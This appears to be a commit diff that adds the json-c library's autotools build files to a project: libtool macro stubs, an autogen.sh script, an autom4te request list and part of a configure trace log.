m4_ifndef([_LT_AC_LANG_C_CONFIG], [AC_DEFUN([_LT_AC_LANG_C_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])])
m4_ifndef([_LT_AC_LANG_CXX_CONFIG], [AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])])
m4_ifndef([_LT_AC_LANG_F77_CONFIG], [AC_DEFUN([_LT_AC_LANG_F77_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])])
m4_ifndef([_LT_AC_LANG_GCJ_CONFIG], [AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])])
m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])])
m4_ifndef([_LT_AC_LANG_RC_CONFIG], [AC_DEFUN([_LT_AC_LANG_RC_CONFIG])])
m4_ifndef([AC_LIBTOOL_CONFIG], [AC_DEFUN([AC_LIBTOOL_CONFIG])])
m4_ifndef([_LT_AC_FILE_LTDLL_C], [AC_DEFUN([_LT_AC_FILE_LTDLL_C])])
m4_ifndef([_LT_REQUIRED_DARWIN_CHECKS], [AC_DEFUN([_LT_REQUIRED_DARWIN_CHECKS])])
m4_ifndef([_LT_AC_PROG_CXXCPP], [AC_DEFUN([_LT_AC_PROG_CXXCPP])])
m4_ifndef([_LT_PREPARE_SED_QUOTE_VARS], [AC_DEFUN([_LT_PREPARE_SED_QUOTE_VARS])])
m4_ifndef([_LT_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_PROG_ECHO_BACKSLASH])])
m4_ifndef([_LT_PROG_F77], [AC_DEFUN([_LT_PROG_F77])])
m4_ifndef([_LT_PROG_FC], [AC_DEFUN([_LT_PROG_FC])])
m4_ifndef([_LT_PROG_CXX], [AC_DEFUN([_LT_PROG_CXX])])

13
beacon/lib/json-c/autogen.sh Executable file
View File

@ -0,0 +1,13 @@
#!/bin/sh
autoreconf -v --install || exit 1
# If there are any options, assume the user wants to run configure.
# To run configure w/o any options, use ./autogen.sh --configure
if [ $# -gt 0 ] ; then
case "$1" in
--conf*)
shift 1
;;
esac
exec ./configure "$@"
fi

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,519 @@
# This file was generated by Autom4te Sun Aug 20 23:09:08 UTC 2017.
# It contains the lists of macros which have been traced.
# It can be safely removed.
@request = (
bless( [
'0',
1,
[
'/usr/share/autoconf'
],
[
'/usr/share/autoconf/autoconf/autoconf.m4f',
'-',
'/usr/share/aclocal-1.15/internal/ac-config-macro-dirs.m4',
'/usr/share/aclocal/libtool.m4',
'/usr/share/aclocal/ltargz.m4',
'/usr/share/aclocal/ltdl.m4',
'/usr/share/aclocal/ltoptions.m4',
'/usr/share/aclocal/ltsugar.m4',
'/usr/share/aclocal/ltversion.m4',
'/usr/share/aclocal/lt~obsolete.m4',
'/usr/share/aclocal-1.15/amversion.m4',
'/usr/share/aclocal-1.15/auxdir.m4',
'/usr/share/aclocal-1.15/cond.m4',
'/usr/share/aclocal-1.15/depend.m4',
'/usr/share/aclocal-1.15/depout.m4',
'/usr/share/aclocal-1.15/init.m4',
'/usr/share/aclocal-1.15/install-sh.m4',
'/usr/share/aclocal-1.15/lead-dot.m4',
'/usr/share/aclocal-1.15/make.m4',
'/usr/share/aclocal-1.15/missing.m4',
'/usr/share/aclocal-1.15/options.m4',
'/usr/share/aclocal-1.15/prog-cc-c-o.m4',
'/usr/share/aclocal-1.15/runlog.m4',
'/usr/share/aclocal-1.15/sanity.m4',
'/usr/share/aclocal-1.15/silent.m4',
'/usr/share/aclocal-1.15/strip.m4',
'/usr/share/aclocal-1.15/substnot.m4',
'/usr/share/aclocal-1.15/tar.m4',
'configure.ac'
],
{
'AC_LIBTOOL_RC' => 1,
'LT_SYS_DLSEARCH_PATH' => 1,
'_LT_LINKER_OPTION' => 1,
'AM_PROG_CC_C_O' => 1,
'AC_ENABLE_SHARED' => 1,
'AC_LIBTOOL_GCJ' => 1,
'_LT_AC_TAGCONFIG' => 1,
'LT_INIT' => 1,
'LT_LANG' => 1,
'_LT_AC_TAGVAR' => 1,
'_LT_PATH_TOOL_PREFIX' => 1,
'AC_PATH_TOOL_PREFIX' => 1,
'AM_MAKE_INCLUDE' => 1,
'_LT_AC_LANG_CXX_CONFIG' => 1,
'AC_LIBTOOL_POSTDEP_PREDEP' => 1,
'AC_CONFIG_MACRO_DIR_TRACE' => 1,
'AC_LIBTOOL_LANG_C_CONFIG' => 1,
'AC_LIBTOOL_CONFIG' => 1,
'AM_MISSING_PROG' => 1,
'AM_MISSING_HAS_RUN' => 1,
'_LT_AC_LANG_RC_CONFIG' => 1,
'AM_RUN_LOG' => 1,
'_LT_LINKER_BOILERPLATE' => 1,
'_AM_OUTPUT_DEPENDENCY_COMMANDS' => 1,
'AC_CONFIG_MACRO_DIR' => 1,
'AC_LIBTOOL_SYS_OLD_ARCHIVE' => 1,
'_LT_PREPARE_SED_QUOTE_VARS' => 1,
'LTDL_CONVENIENCE' => 1,
'LT_FUNC_ARGZ' => 1,
'AC_ENABLE_FAST_INSTALL' => 1,
'AC_LIBTOOL_LANG_CXX_CONFIG' => 1,
'_LT_PROG_F77' => 1,
'AC_LTDL_SHLIBEXT' => 1,
'AC_LIBTOOL_F77' => 1,
'AC_DISABLE_STATIC' => 1,
'AM_AUTOMAKE_VERSION' => 1,
'AM_ENABLE_STATIC' => 1,
'include' => 1,
'AC_LTDL_ENABLE_INSTALL' => 1,
'AC_LIBTOOL_LANG_GCJ_CONFIG' => 1,
'AM_PROG_LIBTOOL' => 1,
'_LT_PROG_LTMAIN' => 1,
'AC_LIBTOOL_LINKER_OPTION' => 1,
'AC_LTDL_DLSYM_USCORE' => 1,
'AC_LIBTOOL_SYS_MAX_CMD_LEN' => 1,
'AC_LIBTOOL_LANG_RC_CONFIG' => 1,
'AC_LIBTOOL_DLOPEN' => 1,
'_LT_AC_LANG_GCJ' => 1,
'LT_WITH_LTDL' => 1,
'AC_DEFUN' => 1,
'LT_SYS_DLOPEN_SELF' => 1,
'AC_LTDL_SYS_DLOPEN_DEPLIBS' => 1,
'AC_LIBTOOL_PICMODE' => 1,
'AC_PROG_LD_RELOAD_FLAG' => 1,
'm4_include' => 1,
'AM_SET_DEPDIR' => 1,
'AU_DEFUN' => 1,
'AC_DISABLE_FAST_INSTALL' => 1,
'LT_PROG_GCJ' => 1,
'LT_LIB_M' => 1,
'AC_LIBTOOL_PROG_LD_SHLIBS' => 1,
'AC_LIBTOOL_PROG_COMPILER_NO_RTTI' => 1,
'AM_AUX_DIR_EXPAND' => 1,
'AC_LTDL_OBJDIR' => 1,
'AC_LIBTOOL_SYS_DYNAMIC_LINKER' => 1,
'_LT_CC_BASENAME' => 1,
'AC_LTDL_SHLIBPATH' => 1,
'AM_DISABLE_SHARED' => 1,
'_LT_AC_PROG_CXXCPP' => 1,
'LT_CMD_MAX_LEN' => 1,
'AM_PROG_INSTALL_STRIP' => 1,
'LT_PROG_GO' => 1,
'_LT_PROG_FC' => 1,
'LT_PROG_RC' => 1,
'AC_LIBTOOL_OBJDIR' => 1,
'_LT_AC_LANG_F77_CONFIG' => 1,
'_LTDL_SETUP' => 1,
'AM_SILENT_RULES' => 1,
'AC_DISABLE_SHARED' => 1,
'AM_PROG_INSTALL_SH' => 1,
'LT_PATH_NM' => 1,
'_LT_DLL_DEF_P' => 1,
'AC_PROG_LD_GNU' => 1,
'AC_LIBLTDL_INSTALLABLE' => 1,
'AC_LIBTOOL_COMPILER_OPTION' => 1,
'AC_LIBLTDL_CONVENIENCE' => 1,
'LTOPTIONS_VERSION' => 1,
'_AM_SET_OPTIONS' => 1,
'LT_FUNC_DLSYM_USCORE' => 1,
'AM_INIT_AUTOMAKE' => 1,
'AC_DEFUN_ONCE' => 1,
'_LT_AC_SYS_COMPILER' => 1,
'_LT_AC_SHELL_INIT' => 1,
'_AM_AUTOCONF_VERSION' => 1,
'AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE' => 1,
'AC_LIBTOOL_SETUP' => 1,
'_LT_WITH_SYSROOT' => 1,
'AC_WITH_LTDL' => 1,
'LT_SYS_MODULE_PATH' => 1,
'AM_PROG_LD' => 1,
'AC_ENABLE_STATIC' => 1,
'LT_AC_PROG_EGREP' => 1,
'LTOBSOLETE_VERSION' => 1,
'_LT_REQUIRED_DARWIN_CHECKS' => 1,
'AM_SET_CURRENT_AUTOMAKE_VERSION' => 1,
'LT_PATH_LD' => 1,
'AM_OUTPUT_DEPENDENCY_COMMANDS' => 1,
'AC_LIBTOOL_FC' => 1,
'_AC_AM_CONFIG_HEADER_HOOK' => 1,
'AC_LIBTOOL_PROG_CC_C_O' => 1,
'LTVERSION_VERSION' => 1,
'_AM_SET_OPTION' => 1,
'AM_PROG_NM' => 1,
'_LT_AC_CHECK_DLFCN' => 1,
'LTDL_INSTALLABLE' => 1,
'm4_pattern_allow' => 1,
'_LT_COMPILER_BOILERPLATE' => 1,
'LTDL_INIT' => 1,
'AM_CONDITIONAL' => 1,
'_LT_AC_LANG_C_CONFIG' => 1,
'_LT_AC_TRY_DLOPEN_SELF' => 1,
'm4_pattern_forbid' => 1,
'_LT_PROG_ECHO_BACKSLASH' => 1,
'AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH' => 1,
'_AM_CONFIG_MACRO_DIRS' => 1,
'_AM_PROG_CC_C_O' => 1,
'LT_OUTPUT' => 1,
'AC_LTDL_DLLIB' => 1,
'AC_PROG_EGREP' => 1,
'AC_LIB_LTDL' => 1,
'_LT_PROG_CXX' => 1,
'_AM_SUBST_NOTMAKE' => 1,
'AC_CHECK_LIBM' => 1,
'AC_PROG_LIBTOOL' => 1,
'AM_SANITY_CHECK' => 1,
'AM_DISABLE_STATIC' => 1,
'AC_DEPLIBS_CHECK_METHOD' => 1,
'AC_LIBTOOL_SYS_HARD_LINK_LOCKS' => 1,
'_AM_DEPENDENCIES' => 1,
'_LT_AC_LANG_F77' => 1,
'LT_LIB_DLLOAD' => 1,
'AC_LIBTOOL_PROG_COMPILER_PIC' => 1,
'AC_LIBTOOL_CXX' => 1,
'LT_SYS_SYMBOL_USCORE' => 1,
'LT_AC_PROG_RC' => 1,
'AM_DEP_TRACK' => 1,
'_AC_PROG_LIBTOOL' => 1,
'AC_PATH_MAGIC' => 1,
'_AM_PROG_TAR' => 1,
'LT_CONFIG_LTDL_DIR' => 1,
'LT_SYS_MODULE_EXT' => 1,
'_LT_AC_LANG_CXX' => 1,
'_m4_warn' => 1,
'_LT_COMPILER_OPTION' => 1,
'AM_SUBST_NOTMAKE' => 1,
'AC_LTDL_SYSSEARCHPATH' => 1,
'AC_LTDL_PREOPEN' => 1,
'AC_LIBTOOL_WIN32_DLL' => 1,
'AC_LTDL_SYMBOL_USCORE' => 1,
'_LT_AC_SYS_LIBPATH_AIX' => 1,
'_LT_AC_LOCK' => 1,
'LT_SUPPORTED_TAG' => 1,
'AC_LIBTOOL_LANG_F77_CONFIG' => 1,
'_LT_AC_FILE_LTDLL_C' => 1,
'_AM_IF_OPTION' => 1,
'AC_LIBTOOL_DLOPEN_SELF' => 1,
'_LT_AC_LANG_GCJ_CONFIG' => 1,
'LT_AC_PROG_GCJ' => 1,
'AC_PROG_NM' => 1,
'_AM_MANGLE_OPTION' => 1,
'LTSUGAR_VERSION' => 1,
'AM_ENABLE_SHARED' => 1,
'AM_SET_LEADING_DOT' => 1,
'AC_LIBTOOL_SYS_LIB_STRIP' => 1,
'AC_PROG_LD' => 1,
'_LT_LIBOBJ' => 1,
'_LT_AC_PROG_ECHO_BACKSLASH' => 1,
'LT_AC_PROG_SED' => 1,
'LT_SYS_DLOPEN_DEPLIBS' => 1
}
], 'Autom4te::Request' ),
bless( [
'1',
1,
[
'/usr/share/autoconf'
],
[
'/usr/share/autoconf/autoconf/autoconf.m4f',
'aclocal.m4',
'configure.ac'
],
{
'AM_PROG_MKDIR_P' => 1,
'AM_ENABLE_MULTILIB' => 1,
'AM_AUTOMAKE_VERSION' => 1,
'AM_PROG_FC_C_O' => 1,
'include' => 1,
'AM_PROG_CXX_C_O' => 1,
'AM_EXTRA_RECURSIVE_TARGETS' => 1,
'_AM_COND_ELSE' => 1,
'_AM_SUBST_NOTMAKE' => 1,
'AC_FC_PP_SRCEXT' => 1,
'AM_GNU_GETTEXT' => 1,
'AC_PROG_LIBTOOL' => 1,
'AC_CANONICAL_TARGET' => 1,
'AM_INIT_AUTOMAKE' => 1,
'AC_FC_SRCEXT' => 1,
'm4_sinclude' => 1,
'AM_PROG_LIBTOOL' => 1,
'AM_PROG_AR' => 1,
'AC_REQUIRE_AUX_FILE' => 1,
'AH_OUTPUT' => 1,
'AC_INIT' => 1,
'm4_pattern_allow' => 1,
'AM_NLS' => 1,
'_AM_MAKEFILE_INCLUDE' => 1,
'm4_pattern_forbid' => 1,
'AC_CANONICAL_SYSTEM' => 1,
'AM_SILENT_RULES' => 1,
'AM_CONDITIONAL' => 1,
'LT_SUPPORTED_TAG' => 1,
'AC_DEFINE_TRACE_LITERAL' => 1,
'LT_CONFIG_LTDL_DIR' => 1,
'AM_PROG_F77_C_O' => 1,
'AC_CANONICAL_HOST' => 1,
'_AM_COND_IF' => 1,
'AM_PATH_GUILE' => 1,
'AM_MAKEFILE_INCLUDE' => 1,
'AC_CONFIG_HEADERS' => 1,
'AC_LIBSOURCE' => 1,
'AC_CONFIG_LINKS' => 1,
'_AM_COND_ENDIF' => 1,
'AC_CONFIG_FILES' => 1,
'AC_CONFIG_SUBDIRS' => 1,
'AM_MAINTAINER_MODE' => 1,
'AC_CONFIG_LIBOBJ_DIR' => 1,
'AC_CANONICAL_BUILD' => 1,
'_m4_warn' => 1,
'AM_PROG_CC_C_O' => 1,
'AC_CONFIG_AUX_DIR' => 1,
'AC_FC_PP_DEFINE' => 1,
'AC_SUBST_TRACE' => 1,
'AM_XGETTEXT_OPTION' => 1,
'AC_FC_FREEFORM' => 1,
'AM_POT_TOOLS' => 1,
'AC_SUBST' => 1,
'AM_PROG_MOC' => 1,
'm4_include' => 1,
'sinclude' => 1,
'AM_GNU_GETTEXT_INTL_SUBDIR' => 1,
'_LT_AC_TAGCONFIG' => 1,
'LT_INIT' => 1
}
], 'Autom4te::Request' ),
bless( [
'2',
1,
[
'/usr/share/autoconf'
],
[
'/usr/share/autoconf/autoconf/autoconf.m4f',
'-',
'/usr/share/aclocal-1.15/internal/ac-config-macro-dirs.m4',
'/usr/share/aclocal/ltargz.m4',
'/usr/share/aclocal/ltdl.m4',
'/usr/share/aclocal-1.15/amversion.m4',
'/usr/share/aclocal-1.15/auxdir.m4',
'/usr/share/aclocal-1.15/cond.m4',
'/usr/share/aclocal-1.15/depend.m4',
'/usr/share/aclocal-1.15/depout.m4',
'/usr/share/aclocal-1.15/init.m4',
'/usr/share/aclocal-1.15/install-sh.m4',
'/usr/share/aclocal-1.15/lead-dot.m4',
'/usr/share/aclocal-1.15/make.m4',
'/usr/share/aclocal-1.15/missing.m4',
'/usr/share/aclocal-1.15/options.m4',
'/usr/share/aclocal-1.15/prog-cc-c-o.m4',
'/usr/share/aclocal-1.15/runlog.m4',
'/usr/share/aclocal-1.15/sanity.m4',
'/usr/share/aclocal-1.15/silent.m4',
'/usr/share/aclocal-1.15/strip.m4',
'/usr/share/aclocal-1.15/substnot.m4',
'/usr/share/aclocal-1.15/tar.m4',
'autoconf-archive/m4/libtool.m4',
'autoconf-archive/m4/ltoptions.m4',
'autoconf-archive/m4/ltsugar.m4',
'autoconf-archive/m4/ltversion.m4',
'autoconf-archive/m4/lt~obsolete.m4',
'configure.ac'
],
{
'm4_pattern_forbid' => 1,
'AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH' => 1,
'_LT_PROG_ECHO_BACKSLASH' => 1,
'_LT_AC_TRY_DLOPEN_SELF' => 1,
'_LT_AC_LANG_C_CONFIG' => 1,
'AM_CONDITIONAL' => 1,
'LTDL_INIT' => 1,
'_LT_COMPILER_BOILERPLATE' => 1,
'm4_pattern_allow' => 1,
'AM_SANITY_CHECK' => 1,
'AC_PROG_LIBTOOL' => 1,
'AC_CHECK_LIBM' => 1,
'_AM_SUBST_NOTMAKE' => 1,
'AC_LIB_LTDL' => 1,
'_LT_PROG_CXX' => 1,
'AC_PROG_EGREP' => 1,
'AC_LTDL_DLLIB' => 1,
'LT_OUTPUT' => 1,
'_AM_CONFIG_MACRO_DIRS' => 1,
'_AM_PROG_CC_C_O' => 1,
'_LT_REQUIRED_DARWIN_CHECKS' => 1,
'AM_SET_CURRENT_AUTOMAKE_VERSION' => 1,
'LTOBSOLETE_VERSION' => 1,
'AC_ENABLE_STATIC' => 1,
'LT_AC_PROG_EGREP' => 1,
'AC_WITH_LTDL' => 1,
'AM_PROG_LD' => 1,
'LT_SYS_MODULE_PATH' => 1,
'_LT_WITH_SYSROOT' => 1,
'LTDL_INSTALLABLE' => 1,
'_LT_AC_CHECK_DLFCN' => 1,
'AM_PROG_NM' => 1,
'LTVERSION_VERSION' => 1,
'_AM_SET_OPTION' => 1,
'AC_LIBTOOL_PROG_CC_C_O' => 1,
'LT_PATH_LD' => 1,
'AC_LIBTOOL_FC' => 1,
'_AC_AM_CONFIG_HEADER_HOOK' => 1,
'AM_OUTPUT_DEPENDENCY_COMMANDS' => 1,
'_LT_AC_FILE_LTDLL_C' => 1,
'_AM_IF_OPTION' => 1,
'_LT_AC_LANG_GCJ_CONFIG' => 1,
'AC_PROG_NM' => 1,
'AC_LIBTOOL_DLOPEN_SELF' => 1,
'LT_AC_PROG_GCJ' => 1,
'LT_SUPPORTED_TAG' => 1,
'AC_LIBTOOL_LANG_F77_CONFIG' => 1,
'_LT_AC_LOCK' => 1,
'_LT_AC_SYS_LIBPATH_AIX' => 1,
'AC_LTDL_SYMBOL_USCORE' => 1,
'AC_LIBTOOL_WIN32_DLL' => 1,
'LT_SYS_DLOPEN_DEPLIBS' => 1,
'LT_AC_PROG_SED' => 1,
'_LT_AC_PROG_ECHO_BACKSLASH' => 1,
'_LT_LIBOBJ' => 1,
'AC_PROG_LD' => 1,
'AC_LIBTOOL_SYS_LIB_STRIP' => 1,
'AM_ENABLE_SHARED' => 1,
'LTSUGAR_VERSION' => 1,
'AM_SET_LEADING_DOT' => 1,
'_AM_MANGLE_OPTION' => 1,
'AM_DEP_TRACK' => 1,
'_AC_PROG_LIBTOOL' => 1,
'LT_SYS_SYMBOL_USCORE' => 1,
'LT_AC_PROG_RC' => 1,
'_LT_AC_LANG_F77' => 1,
'_AM_DEPENDENCIES' => 1,
'LT_LIB_DLLOAD' => 1,
'AC_LIBTOOL_CXX' => 1,
'AC_LIBTOOL_PROG_COMPILER_PIC' => 1,
'AC_DEPLIBS_CHECK_METHOD' => 1,
'AC_LIBTOOL_SYS_HARD_LINK_LOCKS' => 1,
'AM_DISABLE_STATIC' => 1,
'AC_LTDL_PREOPEN' => 1,
'AC_LTDL_SYSSEARCHPATH' => 1,
'_LT_COMPILER_OPTION' => 1,
'_m4_warn' => 1,
'AM_SUBST_NOTMAKE' => 1,
'_LT_AC_LANG_CXX' => 1,
'LT_CONFIG_LTDL_DIR' => 1,
'LT_SYS_MODULE_EXT' => 1,
'_AM_PROG_TAR' => 1,
'AC_PATH_MAGIC' => 1,
'AC_LTDL_SHLIBEXT' => 1,
'AC_LIBTOOL_LANG_CXX_CONFIG' => 1,
'_LT_PROG_F77' => 1,
'LT_FUNC_ARGZ' => 1,
'AC_ENABLE_FAST_INSTALL' => 1,
'LTDL_CONVENIENCE' => 1,
'AC_LIBTOOL_SYS_OLD_ARCHIVE' => 1,
'_LT_PREPARE_SED_QUOTE_VARS' => 1,
'_AM_OUTPUT_DEPENDENCY_COMMANDS' => 1,
'AC_CONFIG_MACRO_DIR' => 1,
'AC_LIBTOOL_SYS_MAX_CMD_LEN' => 1,
'_LT_PROG_LTMAIN' => 1,
'AC_LIBTOOL_LINKER_OPTION' => 1,
'AC_LTDL_DLSYM_USCORE' => 1,
'AM_PROG_LIBTOOL' => 1,
'AC_LIBTOOL_LANG_GCJ_CONFIG' => 1,
'AC_LTDL_ENABLE_INSTALL' => 1,
'AM_ENABLE_STATIC' => 1,
'include' => 1,
'AM_AUTOMAKE_VERSION' => 1,
'AC_LIBTOOL_F77' => 1,
'AC_DISABLE_STATIC' => 1,
'AC_PATH_TOOL_PREFIX' => 1,
'_LT_AC_LANG_CXX_CONFIG' => 1,
'AM_MAKE_INCLUDE' => 1,
'_LT_AC_TAGVAR' => 1,
'_LT_PATH_TOOL_PREFIX' => 1,
'_LT_AC_TAGCONFIG' => 1,
'LT_INIT' => 1,
'LT_LANG' => 1,
'AC_ENABLE_SHARED' => 1,
'AC_LIBTOOL_GCJ' => 1,
'AM_PROG_CC_C_O' => 1,
'LT_SYS_DLSEARCH_PATH' => 1,
'AC_LIBTOOL_RC' => 1,
'_LT_LINKER_OPTION' => 1,
'AM_RUN_LOG' => 1,
'_LT_LINKER_BOILERPLATE' => 1,
'_LT_AC_LANG_RC_CONFIG' => 1,
'AC_LIBTOOL_CONFIG' => 1,
'AM_MISSING_PROG' => 1,
'AM_MISSING_HAS_RUN' => 1,
'AC_CONFIG_MACRO_DIR_TRACE' => 1,
'AC_LIBTOOL_LANG_C_CONFIG' => 1,
'AC_LIBTOOL_POSTDEP_PREDEP' => 1,
'AC_PROG_LD_GNU' => 1,
'AM_PROG_INSTALL_SH' => 1,
'LT_PATH_NM' => 1,
'_LT_DLL_DEF_P' => 1,
'AM_SILENT_RULES' => 1,
'_LTDL_SETUP' => 1,
'AC_DISABLE_SHARED' => 1,
'LT_PROG_RC' => 1,
'AC_LIBTOOL_OBJDIR' => 1,
'_LT_AC_LANG_F77_CONFIG' => 1,
'_LT_PROG_FC' => 1,
'AM_PROG_INSTALL_STRIP' => 1,
'LT_PROG_GO' => 1,
'AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE' => 1,
'AC_LIBTOOL_SETUP' => 1,
'_LT_AC_SYS_COMPILER' => 1,
'AC_DEFUN_ONCE' => 1,
'AM_INIT_AUTOMAKE' => 1,
'_LT_AC_SHELL_INIT' => 1,
'_AM_AUTOCONF_VERSION' => 1,
'LT_FUNC_DLSYM_USCORE' => 1,
'_AM_SET_OPTIONS' => 1,
'LTOPTIONS_VERSION' => 1,
'AC_LIBLTDL_CONVENIENCE' => 1,
'AC_LIBLTDL_INSTALLABLE' => 1,
'AC_LIBTOOL_COMPILER_OPTION' => 1,
'LT_PROG_GCJ' => 1,
'AC_DISABLE_FAST_INSTALL' => 1,
'AU_DEFUN' => 1,
'AM_SET_DEPDIR' => 1,
'AC_LIBTOOL_PICMODE' => 1,
'AC_PROG_LD_RELOAD_FLAG' => 1,
'm4_include' => 1,
'AC_LTDL_SYS_DLOPEN_DEPLIBS' => 1,
'LT_SYS_DLOPEN_SELF' => 1,
'AC_DEFUN' => 1,
'_LT_AC_LANG_GCJ' => 1,
'LT_WITH_LTDL' => 1,
'AC_LIBTOOL_LANG_RC_CONFIG' => 1,
'AC_LIBTOOL_DLOPEN' => 1,
'LT_CMD_MAX_LEN' => 1,
'_LT_AC_PROG_CXXCPP' => 1,
'AM_DISABLE_SHARED' => 1,
'AC_LTDL_SHLIBPATH' => 1,
'_LT_CC_BASENAME' => 1,
'AM_AUX_DIR_EXPAND' => 1,
'AC_LTDL_OBJDIR' => 1,
'AC_LIBTOOL_SYS_DYNAMIC_LINKER' => 1,
'AC_LIBTOOL_PROG_COMPILER_NO_RTTI' => 1,
'AC_LIBTOOL_PROG_LD_SHLIBS' => 1,
'LT_LIB_M' => 1
}
], 'Autom4te::Request' )
);

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,679 @@
m4trace:aclocal.m4:1153: -1- m4_include([autoconf-archive/m4/libtool.m4])
m4trace:aclocal.m4:1154: -1- m4_include([autoconf-archive/m4/ltoptions.m4])
m4trace:aclocal.m4:1155: -1- m4_include([autoconf-archive/m4/ltsugar.m4])
m4trace:aclocal.m4:1156: -1- m4_include([autoconf-archive/m4/ltversion.m4])
m4trace:aclocal.m4:1157: -1- m4_include([autoconf-archive/m4/lt~obsolete.m4])
m4trace:configure.ac:4: -1- AC_INIT([json-c], [0.13.99], [json-c@googlegroups.com])
m4trace:configure.ac:4: -1- m4_pattern_forbid([^_?A[CHUM]_])
m4trace:configure.ac:4: -1- m4_pattern_forbid([_AC_])
m4trace:configure.ac:4: -1- m4_pattern_forbid([^LIBOBJS$], [do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs LIBOBJS'])
m4trace:configure.ac:4: -1- m4_pattern_allow([^AS_FLAGS$])
m4trace:configure.ac:4: -1- m4_pattern_forbid([^_?m4_])
m4trace:configure.ac:4: -1- m4_pattern_forbid([^dnl$])
m4trace:configure.ac:4: -1- m4_pattern_forbid([^_?AS_])
m4trace:configure.ac:4: -1- AC_SUBST([SHELL])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([SHELL])
m4trace:configure.ac:4: -1- m4_pattern_allow([^SHELL$])
m4trace:configure.ac:4: -1- AC_SUBST([PATH_SEPARATOR])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PATH_SEPARATOR])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PATH_SEPARATOR$])
m4trace:configure.ac:4: -1- AC_SUBST([PACKAGE_NAME], [m4_ifdef([AC_PACKAGE_NAME], ['AC_PACKAGE_NAME'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PACKAGE_NAME])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_NAME$])
m4trace:configure.ac:4: -1- AC_SUBST([PACKAGE_TARNAME], [m4_ifdef([AC_PACKAGE_TARNAME], ['AC_PACKAGE_TARNAME'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PACKAGE_TARNAME])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
m4trace:configure.ac:4: -1- AC_SUBST([PACKAGE_VERSION], [m4_ifdef([AC_PACKAGE_VERSION], ['AC_PACKAGE_VERSION'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PACKAGE_VERSION])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_VERSION$])
m4trace:configure.ac:4: -1- AC_SUBST([PACKAGE_STRING], [m4_ifdef([AC_PACKAGE_STRING], ['AC_PACKAGE_STRING'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PACKAGE_STRING])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_STRING$])
m4trace:configure.ac:4: -1- AC_SUBST([PACKAGE_BUGREPORT], [m4_ifdef([AC_PACKAGE_BUGREPORT], ['AC_PACKAGE_BUGREPORT'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PACKAGE_BUGREPORT])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
m4trace:configure.ac:4: -1- AC_SUBST([PACKAGE_URL], [m4_ifdef([AC_PACKAGE_URL], ['AC_PACKAGE_URL'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([PACKAGE_URL])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_URL$])
m4trace:configure.ac:4: -1- AC_SUBST([exec_prefix], [NONE])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([exec_prefix])
m4trace:configure.ac:4: -1- m4_pattern_allow([^exec_prefix$])
m4trace:configure.ac:4: -1- AC_SUBST([prefix], [NONE])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([prefix])
m4trace:configure.ac:4: -1- m4_pattern_allow([^prefix$])
m4trace:configure.ac:4: -1- AC_SUBST([program_transform_name], [s,x,x,])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([program_transform_name])
m4trace:configure.ac:4: -1- m4_pattern_allow([^program_transform_name$])
m4trace:configure.ac:4: -1- AC_SUBST([bindir], ['${exec_prefix}/bin'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([bindir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^bindir$])
m4trace:configure.ac:4: -1- AC_SUBST([sbindir], ['${exec_prefix}/sbin'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([sbindir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^sbindir$])
m4trace:configure.ac:4: -1- AC_SUBST([libexecdir], ['${exec_prefix}/libexec'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([libexecdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^libexecdir$])
m4trace:configure.ac:4: -1- AC_SUBST([datarootdir], ['${prefix}/share'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([datarootdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^datarootdir$])
m4trace:configure.ac:4: -1- AC_SUBST([datadir], ['${datarootdir}'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([datadir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^datadir$])
m4trace:configure.ac:4: -1- AC_SUBST([sysconfdir], ['${prefix}/etc'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([sysconfdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^sysconfdir$])
m4trace:configure.ac:4: -1- AC_SUBST([sharedstatedir], ['${prefix}/com'])
